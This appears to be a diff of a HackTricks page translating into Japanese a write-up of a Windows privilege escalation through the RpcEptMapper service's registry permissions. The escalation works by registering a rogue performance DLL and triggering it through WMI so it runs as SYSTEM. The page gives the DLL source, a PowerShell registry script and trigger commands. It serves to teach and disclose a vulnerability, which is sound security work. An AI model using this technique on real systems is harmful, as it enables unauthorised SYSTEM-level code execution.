☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-**Information copied from** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/) +**情報はここからコピー** [**https://itm4n.github.io/windows-registry-rpceptmapper-eop/**](https://itm4n.github.io/windows-registry-rpceptmapper-eop/) -According to the output of the script, the current user has some write permissions on two registry keys: +スクリプトの出力によると、現在のユーザーは2つのレジストリキーに対していくつかの書き込み権限を持っています。 * `HKLM\SYSTEM\CurrentControlSet\Services\Dnscache` * `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper` -Let’s manually check the permissions of the `RpcEptMapper` service using the `regedit` GUI. One thing I really like about the _Advanced Security Settings_ window is the _Effective Permissions_ tab. You can pick any user or group name and immediately see the effective permissions that are granted to this principal without the need to inspect all the ACEs separately. The following screenshot shows the result for the low privileged `lab-user` account. +`regedit` GUIを使用して、`RpcEptMapper`サービスの権限を手動で確認しましょう。私が本当に気に入っているのは、_Advanced Security Settings_ウィンドウの_Effective Permissions_タブです。任意のユーザーまたはグループ名を選択すると、個別にすべてのACEを調査する必要なく、この主体に付与された有効な権限がすぐに表示されます。次のスクリーンショットは、低特権の`lab-user`アカウントの結果を示しています。 ![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/02\_regsitry-rpceptmapper-permissions.png) -Most permissions are standard (e.g.: `Query Value`) but one in particular stands out: `Create Subkey`. The generic name corresponding to this permission is `AppendData/AddSubdirectory`, which is exactly what was reported by the script: - +ほとんどの権限は標準です(例:`Query Value`)が、特に1つが目立ちます:`Create Subkey`。この権限に対応する一般的な名前は`AppendData/AddSubdirectory`であり、スクリプトで報告された内容とまったく同じです。 ``` Name : RpcEptMapper ImagePath : C:\Windows\system32\svchost.exe -k RPCSS @@ -51,105 +48,95 @@ Status : Running UserCanStart : True UserCanRestart : False ``` +これは正確に何を意味していますか?これは、たとえば`ImagePath`の値を変更することはできないということを意味しています。そのためには、`WriteData/AddFile`の許可が必要です。代わりに、新しいサブキーの作成のみが可能です。 -What does this mean exactly? It means that we cannot just modify the `ImagePath` value for example. To do so, we would need the `WriteData/AddFile` permission. Instead, we can only create a new subkey. +![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/03_registry-imagepath-access-denied.png) -![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/03\_registry-imagepath-access-denied.png) - -Does it mean that it was indeed a false positive? Surely not. Let the fun begin! +これは本当に誤検知だったのでしょうか?確かにそうではありません。楽しみましょう! ## RTFM -At this point, we know that we can create arbirary subkeys under `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper` but we cannot modify existing subkeys and values. These already existing subkeys are `Parameters` and `Security`, which are quite common for Windows services. +この時点で、`HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper`の下に任意のサブキーを作成できることはわかっていますが、既存のサブキーと値を変更することはできません。これらの既存のサブキーは、`Parameters`と`Security`であり、Windowsサービスには一般的なものです。 -![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/04\_registry-rpceptmapper-config.png) +![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/04_registry-rpceptmapper-config.png) -Therefore, the first question that came to mind was: _is there any other predefined subkey - such as `Parameters` and `Security`- that we could leverage to effectively modify the configuration of the service and alter its behavior in any way?_ +したがって、最初に思い浮かんだ質問は次のとおりです:「`Parameters`や`Security`のような、効果的にサービスの構成を変更し、動作を変更するために利用できる他の事前定義されたサブキーはあるのでしょうか?」 -To answer this question, my initial plan was to enumerate all existing keys and try to identify a pattern. The idea was to see which subkeys are _meaningful_ for a service’s configuration. I started to think about how I could implement that in PowerShell and then sort the result. Though, before doing so, I wondered if this registry structure was already documented. So, I googled something like `windows service configuration registry site:microsoft.com` and here is the very first [result](https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree) that came out. +この質問に答えるために、最初の計画はすべての既存のキーを列挙し、パターンを特定することでした。アイデアは、サービスの構成にとって「意味のある」サブキーを見ることでした。これをPowerShellで実装し、結果をソートすることができるかどうか考え始めました。しかし、それを行う前に、このレジストリ構造が既に文書化されているかどうか疑問に思いました。そのため、`windows service configuration registry site:microsoft.com`のようなキーワードでGoogle検索を行い、最初の[結果](https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree)が表示されました。 -![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/05\_google-search-registry-services.png) +![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/05_google-search-registry-services.png) -Looks promising, doesn’t it? At first glance, the documentation did not seem to be exhaustive and complete. Considering the title, I expected to see some sort of tree structure detailing all the subkeys and values defining a service’s configuration but it was clearly not there. +有望ですね。一見すると、ドキュメントは完全ではないように思えました。タイトルを考慮すると、サービスの構成を定義するすべてのサブキーと値を詳細に説明したツリー構造が表示されることを期待していましたが、明らかにそこにはありませんでした。 -![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/06\_doc-registry-services.png) +![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/06_doc-registry-services.png) -Still, I did take a quick look at each paragraph. And, I quickly spotted the keywords “_**Performance**_” and “_**DLL**_”. Under the subtitle “**Perfomance**”, we can read the following: +それでも、各段落をざっと見てみました。そして、「_**Performance**_」と「_**DLL**_」というキーワードにすぐに気付きました。「**Perfomance**」の小見出しの下では、次のように説明されています。 -> **Performance**: _A key that specifies information for optional performance monitoring. The values under this key specify **the name of the driver’s performance DLL** and **the names of certain exported functions in that DLL**. You can add value entries to this subkey using AddReg entries in the driver’s INF file._ +> **Performance**: _オプションのパフォーマンスモニタリングの情報を指定するキーです。このキーの値は、**ドライバのパフォーマンスDLLの名前**と、そのDLLの**特定のエクスポートされた関数の名前**を指定します。ドライバのINFファイルのAddRegエントリを使用して、このサブキーに値エントリを追加できます。_ -According to this short paragraph, one can theoretically register a DLL in a driver service in order to monitor its performances thanks to the `Performance` subkey. **OK, this is really interesting!** This key doesn’t exist by default for the `RpcEptMapper` service so it looks like it is _exactly_ what we need. There is a slight problem though, this service is definitely not a driver service. Anyway, it’s still worth the try, but we need more information about this “_Perfomance Monitoring_” feature first. +この短い段落によると、`Performance`サブキーを使用して、ドライバサービスにDLLを登録してパフォーマンスを監視することが理論的に可能です。**これは非常に興味深いです!** このキーは`RpcEptMapper`サービスのデフォルトでは存在しないので、まさに必要なもののようです。ただし、このサービスは明らかにドライバサービスではありません。とにかく、試してみる価値はありますが、「_パフォーマンスモニタリング_」機能についてのさらなる情報が必要です。 -![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/07\_sc-qc-rpceptmapper.png) +![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/07_sc-qc-rpceptmapper.png) -> **Note:** in Windows, each service has a given `Type`. A service type can be one of the following values: `SERVICE_KERNEL_DRIVER (1)`, `SERVICE_FILE_SYSTEM_DRIVER (2)`, `SERVICE_ADAPTER (4)`, `SERVICE_RECOGNIZER_DRIVER (8)`, `SERVICE_WIN32_OWN_PROCESS (16)`, `SERVICE_WIN32_SHARE_PROCESS (32)` or `SERVICE_INTERACTIVE_PROCESS (256)`. +> **注意:** Windowsでは、各サービスには特定の`Type`があります。サービスのタイプは次の値のいずれかであることがあります: `SERVICE_KERNEL_DRIVER (1)`, `SERVICE_FILE_SYSTEM_DRIVER (2)`, `SERVICE_ADAPTER (4)`, `SERVICE_RECOGNIZER_DRIVER (8)`, `SERVICE_WIN32_OWN_PROCESS (16)`, `SERVICE_WIN32_SHARE_PROCESS (32)`または`SERVICE_INTERACTIVE_PROCESS (256)`。 -After some googling, I found this resource in the documentation: [Creating the Application’s Performance Key](https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key). +Google検索をしていくつかの情報を見つけました。ドキュメントには、[Creating the Application’s Performance Key](https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key)というリソースがあります。 -![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/08\_performance-subkey-documentation.png) +![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/08_performance-subkey-documentation.png) -First, there is a nice tree structure that lists all the keys and values we have to create. Then, the description gives the following key information: +まず、作成する必要のあるすべてのキーと値がリストアップされた素敵なツリー構造があります。その後、説明では次のようなキー情報が与えられています。 -* The `Library` value can contain **a DLL name or a full path to a DLL**. -* The `Open`, `Collect`, and `Close` values allow you to specify **the names of the functions** that should be exported by the DLL. -* The data type of these values is `REG_SZ` (or even `REG_EXPAND_SZ` for the `Library` value). - -If you follow the links that are included in this resource, you’ll even find the prototype of these functions along with some code samples: [Implementing OpenPerformanceData](https://docs.microsoft.com/en-us/windows/win32/perfctrs/implementing-openperformancedata). +* `Library`の値には、**DLLの名前またはDLLへの完全なパス**を指定できます。 +* `Open`、`Collect`、`Close`の値を使用して、DLLがエクスポートする関数の名前を指定できます。 +* これらの値のデータ型は`REG_SZ`です(`Library`の値の場合は`REG_EXPAND_SZ`です)。 +このリソースに含まれているリンクをたどると、これらの関数のプロトタイプといくつかのコードサンプルが見つかります: [Implementing OpenPerformanceData](https://docs.microsoft.com/en-us/windows/win32/perfctrs/implementing-openperformancedata)。 ``` DWORD APIENTRY OpenPerfData(LPWSTR pContext); DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned); DWORD APIENTRY ClosePerfData(); ``` +## Proof-of-Conceptの作成 -I think that’s enough with the theory, it’s time to start writing some code! +ドキュメント全体から収集したビットとピースのおかげで、シンプルなProof-of-Concept DLLを作成することは非常に簡単です。しかし、それでも計画が必要です! -## Writing a Proof-of-Concept +DLLハイジャックの脆弱性を悪用する必要がある場合、通常はシンプルでカスタムなログヘルパー関数から始めます。この関数の目的は、呼び出されるたびにいくつかの重要な情報をファイルに書き込むことです。通常、現在のプロセスと親プロセスのPID、プロセスを実行しているユーザーの名前、対応するコマンドラインをログに記録します。また、このログイベントをトリガーした関数の名前も記録します。これにより、どのコードの部分が実行されたかがわかります。 -Thanks to all the bits and pieces I was able to collect throughout the documentation, writing a simple Proof-of-Concept DLL should be pretty straightforward. But still, we need a plan! - -When I need to exploit some sort of DLL hijacking vulnerability, I usually start with a simple and custom log helper function. The purpose of this function is to write some key information to a file whenever it’s invoked. Typically, I log the PID of the current process and the parent process, the name of the user that runs the process and the corresponding command line. I also log the name of the function that triggered this log event. This way, I know which part of the code was executed. - -In my other articles, I always skipped the development part because I assumed that it was more or less obvious. But, I also want my blog posts to be beginner-friendly, so there is a contradiction. I will remedy this situation here by detailing the process. So, let’s fire up Visual Studio and create a new “_C++ Console App_” project. Note that I could have created a “_Dynamic-Link Library (DLL)_” project but I find it actually easier to just start with a console app. - -Here is the initial code generated by Visual Studio: +他の記事では、開発部分を省略していましたが、それはほぼ明らかだと思っていました。しかし、私のブログ投稿は初心者にも分かりやすいものにしたいと思っているので、矛盾があります。ここではこの状況を解消するために、プロセスの詳細な説明を行います。では、Visual Studioを起動して新しい「_C++ Console App_」プロジェクトを作成しましょう。注意点として、「_Dynamic-Link Library (DLL)_」プロジェクトを作成することもできますが、実際にはコンソールアプリから始める方が簡単だと思います。 +以下は、Visual Studioによって生成された初期コードです: ```c #include int main() { - std::cout << "Hello World!\n"; +std::cout << "Hello World!\n"; } ``` - -Of course, that’s not what we want. We want to create a DLL, not an EXE, so we have to replace the `main` function with `DllMain`. You can find a skeleton code for this function in the documentation: [Initialize a DLL](https://docs.microsoft.com/en-us/cpp/build/run-time-library-behavior#initialize-a-dll). - +もちろん、それは私たちが望むものではありません。私たちはDLLを作成したいので、`main`関数を`DllMain`に置き換える必要があります。この関数のスケルトンコードはドキュメントで見つけることができます:[DLLの初期化](https://docs.microsoft.com/en-us/cpp/build/run-time-library-behavior#initialize-a-dll)。 ```c #include extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved) { - switch (reason) - { - case DLL_PROCESS_ATTACH: - Log(L"DllMain"); // See log helper function below - break; - case DLL_THREAD_ATTACH: - break; - case DLL_THREAD_DETACH: - break; - case DLL_PROCESS_DETACH: - break; - } - return TRUE; +switch (reason) +{ +case DLL_PROCESS_ATTACH: +Log(L"DllMain"); // See log helper function below +break; +case DLL_THREAD_ATTACH: +break; +case DLL_THREAD_DETACH: +break; +case DLL_PROCESS_DETACH: +break; +} +return TRUE; } ``` +同時に、プロジェクトの設定を変更して、コンパイルされた出力ファイルがEXEではなくDLLであることを指定する必要があります。これを行うには、プロジェクトのプロパティを開き、「**一般**」セクションで「**動的ライブラリ (.dll)**」を「**構成の種類**」として選択します。タイトルバーのすぐ下にある「**すべての構成**」と「**すべてのプラットフォーム**」も選択して、この設定をグローバルに適用できるようにします。 -In parallel, we also need to change the settings of the project to specify that the output compiled file should be a DLL rather than an EXE. To do so, you can open the project properties and, in the “**General**” section, select “**Dynamic Library (.dll)**” as the “**Configuration Type**”. Right under the title bar, you can also select “**All Configurations**” and “**All Platforms**” so that this setting can be applied globally. - -Next, I add my custom log helper function. - +次に、カスタムのログヘルパー関数を追加します。 ```c #include // UNLEN + GetUserName #include // CreateToolhelp32Snapshot() @@ -157,131 +144,119 @@ Next, I add my custom log helper function. void Log(LPCWSTR pwszCallingFrom) { - LPWSTR pwszBuffer, pwszCommandLine; - WCHAR wszUsername[UNLEN + 1] = { 0 }; - SYSTEMTIME st = { 0 }; - HANDLE hToolhelpSnapshot; - PROCESSENTRY32 stProcessEntry = { 0 }; - DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0; - BOOL bResult = FALSE; +LPWSTR pwszBuffer, pwszCommandLine; +WCHAR wszUsername[UNLEN + 1] = { 0 }; +SYSTEMTIME st = { 0 }; +HANDLE hToolhelpSnapshot; +PROCESSENTRY32 stProcessEntry = { 0 }; +DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0; +BOOL bResult = FALSE; - // Get the command line of the current process - pwszCommandLine = GetCommandLine(); +// Get the command line of the current process +pwszCommandLine = GetCommandLine(); - // Get the name of the process owner - GetUserName(wszUsername, &dwPcbBuffer); +// Get the name of the process owner +GetUserName(wszUsername, &dwPcbBuffer); - // Get the PID of the current process - dwProcessId = GetCurrentProcessId(); +// Get the PID of the current process +dwProcessId = GetCurrentProcessId(); - // Get the PID of the parent process - hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - stProcessEntry.dwSize = sizeof(PROCESSENTRY32); - if (Process32First(hToolhelpSnapshot, &stProcessEntry)) { - do { - if (stProcessEntry.th32ProcessID == dwProcessId) { - dwParentProcessId = stProcessEntry.th32ParentProcessID; - break; - } - } while (Process32Next(hToolhelpSnapshot, &stProcessEntry)); - } - CloseHandle(hToolhelpSnapshot); +// Get the PID of the parent process +hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); +stProcessEntry.dwSize = sizeof(PROCESSENTRY32); +if (Process32First(hToolhelpSnapshot, &stProcessEntry)) { +do { +if (stProcessEntry.th32ProcessID == dwProcessId) { +dwParentProcessId = stProcessEntry.th32ParentProcessID; +break; +} +} while (Process32Next(hToolhelpSnapshot, &stProcessEntry)); +} +CloseHandle(hToolhelpSnapshot); - // Get the current date and time - GetLocalTime(&st); +// Get the current date and time +GetLocalTime(&st); - // Prepare the output string and log the result - dwBufSize = 4096 * sizeof(WCHAR); - pwszBuffer = (LPWSTR)malloc(dwBufSize); - if (pwszBuffer) - { - StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n", - st.wHour, - st.wMinute, - st.wSecond, - dwProcessId, - dwParentProcessId, - wszUsername, - pwszCommandLine, - pwszCallingFrom - ); +// Prepare the output string and log the result +dwBufSize = 4096 * sizeof(WCHAR); +pwszBuffer = (LPWSTR)malloc(dwBufSize); +if (pwszBuffer) +{ +StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n", +st.wHour, +st.wMinute, +st.wSecond, +dwProcessId, +dwParentProcessId, +wszUsername, +pwszCommandLine, +pwszCallingFrom +); - LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer); +LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer); - free(pwszBuffer); - } +free(pwszBuffer); +} } ``` - -Then, we can populate the DLL with the three functions we saw in the documentation. The documentation also states that they should return `ERROR_SUCCESS` if successful. - +次に、私たちはDLLにドキュメントで見た3つの関数を追加します。ドキュメントには、成功した場合に`ERROR_SUCCESS`を返すべきだとも記載されています。 ```c DWORD APIENTRY OpenPerfData(LPWSTR pContext) { - Log(L"OpenPerfData"); - return ERROR_SUCCESS; +Log(L"OpenPerfData"); +return ERROR_SUCCESS; } DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned) { - Log(L"CollectPerfData"); - return ERROR_SUCCESS; +Log(L"CollectPerfData"); +return ERROR_SUCCESS; } DWORD APIENTRY ClosePerfData() { - Log(L"ClosePerfData"); - return ERROR_SUCCESS; +Log(L"ClosePerfData"); +return ERROR_SUCCESS; } ``` - -Ok, so the project is now properly configured, `DllMain` is implemented, we have a log helper function and the three required functions. One last thing is missing though. If we compile this code, `OpenPerfData`, `CollectPerfData` and `ClosePerfData` will be available as internal functions only so we need to **export** them. This can be achieved in several ways. For example, you could create a [DEF](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-def-files) file and then configure the project appropriately. However, I prefer to use the `__declspec(dllexport)` keyword ([doc](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-declspec-dllexport)), especially for a small project like this one. This way, we just have to declare the three functions at the beginning of the source code. - +Ok、プロジェクトは正しく設定されました。`DllMain`が実装され、ログヘルパー関数と必要な3つの関数があります。ただし、最後に1つだけ不足しています。このコードをコンパイルすると、`OpenPerfData`、`CollectPerfData`、`ClosePerfData`は内部関数としてのみ利用可能になるため、**エクスポート**する必要があります。これはいくつかの方法で実現できます。たとえば、[DEF](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-def-files)ファイルを作成し、プロジェクトを適切に設定することができます。ただし、私は特にこのような小さなプロジェクトでは、`__declspec(dllexport)`キーワード([doc](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-declspec-dllexport))を使用することを好みます。この方法では、ソースコードの先頭で3つの関数を宣言するだけで済みます。 ```c extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext); extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned); extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData(); ``` +完全なコードを見たい場合は、[こちら](https://gist.github.com/itm4n/253c5937f9b3408b390d51ac068a4d12)にアップロードしました。 -If you want to see the full code, I uploaded it [here](https://gist.github.com/itm4n/253c5937f9b3408b390d51ac068a4d12). +最後に、_**Release/x64**_ を選択し、「_**ソリューションをビルド**_」します。これにより、次のDLLファイルが生成されます:`.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll`。 -Finally, we can select _**Release/x64**_ and “_**Build the solution**_”. This will produce our DLL file: `.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll`. - -## Testing the PoC - -Before going any further, I always make sure that my payload is working properly by testing it separately. The little time spent here can save a lot of time afterwards by preventing you from going down a rabbit hole during a hypothetical debug phase. To do so, we can simply use `rundll32.exe` and pass the name of the DLL and the name of an exported function as the parameters. +## PoCのテスト +さらに進む前に、ペイロードが正常に動作していることを常に確認するために、別々にテストすることをお勧めします。ここで少し時間をかけることで、仮想的なデバッグフェーズ中に迷路に迷い込むことを防ぐため、後で多くの時間を節約できます。そのために、単純に`rundll32.exe`を使用し、DLLの名前とエクスポートされた関数の名前をパラメータとして渡すことができます。 ``` C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData ``` - ![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/09\_test-poc-rundll32.gif) -Great, the log file was created and, if we open it, we can see two entries. The first one was written when the DLL was loaded by `rundll32.exe`. The second one was written when `OpenPerfData` was called. Looks good! ![:slightly\_smiling\_face:](https://github.githubassets.com/images/icons/emoji/unicode/1f642.png) - +素晴らしい、ログファイルが作成されました。開いてみると、2つのエントリが表示されます。最初のエントリは、`rundll32.exe`によってDLLがロードされたときに書き込まれました。2番目のエントリは、`OpenPerfData`が呼び出されたときに書き込まれました。うまくいっていますね!😊 ``` [21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain' [21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData' ``` - -Ok, now we can focus on the actual vulnerability and start by creating the required registry key and values. We can either do this manually using `reg.exe` / `regedit.exe` or programmatically with a script. Since I already went through the manual steps during my initial research, I’ll show a cleaner way to do the same thing with a PowerShell script. Besides, creating registry keys and values in PowerShell is as easy as calling `New-Item` and `New-ItemProperty`, isn’t it? ![:thinking:](https://github.githubassets.com/images/icons/emoji/unicode/1f914.png) +よし、では実際の脆弱性に焦点を当てて、必要なレジストリキーと値の作成を始めましょう。これは、`reg.exe` / `regedit.exe`を使用して手動で行うか、スクリプトを使用してプログラム的に行うことができます。初期の調査中に手動で手順を実行したので、同じことをより簡潔に行うPowerShellスクリプトを示します。また、PowerShellでレジストリキーと値を作成するのは、`New-Item`と`New-ItemProperty`を呼び出すだけですね。![:thinking:](https://github.githubassets.com/images/icons/emoji/unicode/1f914.png) ![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/10\_powershell-new-item-access-denied.png) -`Requested registry access is not allowed`… Hmmm, ok… It looks like it won’t be that easy after all. ![:stuck\_out\_tongue:](https://github.githubassets.com/images/icons/emoji/unicode/1f61b.png) +`要求されたレジストリ アクセスが許可されていません`... うーん、そうですか... 結局、そんなに簡単ではないようですね。![:stuck\_out\_tongue:](https://github.githubassets.com/images/icons/emoji/unicode/1f61b.png) -I didn’t really investigate this issue but my guess is that when we call `New-Item`, `powershell.exe` actually tries to open the parent registry key with some flags that correspond to permissions we don’t have. - -Anyway, if the built-in cmdlets don’t do the job, we can always go down one level and invoke DotNet functions directly. Indeed, registry keys can also be created with the following code in PowerShell. +この問題についてはあまり調査していませんが、おそらく`New-Item`を呼び出すとき、`powershell.exe`は実際には親のレジストリキーをいくつかのフラグとともに開こうとしていて、それが私たちが持っていない権限に対応しているのかもしれません。 +とにかく、組み込みのコマンドレットがうまくいかない場合は、常に1つ下のレベルに移動して、直接DotNet関数を呼び出すことができます。実際には、次のコードでレジストリキーもPowerShellで作成できます。 ``` [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance") ``` - ![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/11\_powershell-dotnet-createsubkey.png) -Here we go! In the end, I put together the following script in order to create the appropriate key and values, wait for some user input and finally terminate by cleaning everything up. - +さあ、始めましょう!最終的に、適切なキーと値を作成し、ユーザーの入力を待ち、最後にすべてをクリーンアップして終了するために、以下のスクリプトをまとめました。 ``` $ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance" @@ -305,21 +280,17 @@ Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force [Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey) ``` +最後のステップは、**RPCエンドポイントマッパーサービスをどのようにして私たちのパフォーマンスDLLを読み込ませるか**です。残念ながら、私は試したさまざまなことを追跡していません。このブログ記事の文脈では、研究がどれだけ手間と時間がかかることがあるかを強調することは非常に興味深いでしょう。とにかく、途中で見つけたことの一つは、WMI(Windows Management Instrumentation)を使用して_パフォーマンスカウンター_をクエリできることです。これはあまり驚くべきことではありません。詳細はこちら:[_WMIパフォーマンスカウンタータイプ_](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-performance-counter-types)。 -The last step now, **how do we trick the RPC Endpoint Mapper service into loading our Performace DLL?** Unfortunately, I haven’t kept track of all the different things I tried. It would have been really interesting in the context of this blog post to highlight how tedious and time consuming research can sometimes be. Anyway, one thing I found along the way is that you can query _Perfomance Counters_ using WMI (_Windows Management Instrumentation_), which isn’t too surprising after all. More info here: [_WMI Performance Counter Types_](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-performance-counter-types). - -> _Counter types appear as the CounterType qualifier for properties in_ [_Win32\_PerfRawData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfrawdata) _classes, and as the CookingType qualifier for properties in_ [_Win32\_PerfFormattedData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfformatteddata) _classes._ - -So, I first enumerated the WMI classes that are related to _Performace Data_ in PowerShell using the following command. +> _カウンタータイプは、_ [_Win32\_PerfRawData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfrawdata) _クラスのプロパティのCounterType修飾子として表示され、_ [_Win32\_PerfFormattedData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfformatteddata) _クラスのプロパティのCookingType修飾子として表示されます。_ +したがって、最初に次のコマンドを使用して、PowerShellで_パフォーマンスデータ_に関連するWMIクラスを列挙しました。 ``` Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" } ``` - ![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/12\_powershell-get-wmiobject.gif) -And, I saw that my log file was created almost right away! Here is the content of the file. - +そして、私はログファイルがほぼすぐに作成されたことに気付きました!以下はファイルの内容です。 ``` [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData' @@ -335,42 +306,36 @@ And, I saw that my log file was created almost right away! Here is the content o [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData' ``` +予想では、最大でも`RpcEptMapper`サービスのコンテキストで`NETWORK SERVICE`として任意のコードを実行できると思っていましたが、予想以上の結果が得られました。実際には、`WMI`サービス自体のコンテキストで任意のコードを実行できました。このサービスは`LOCAL SYSTEM`として実行されています。素晴らしい結果ですね! 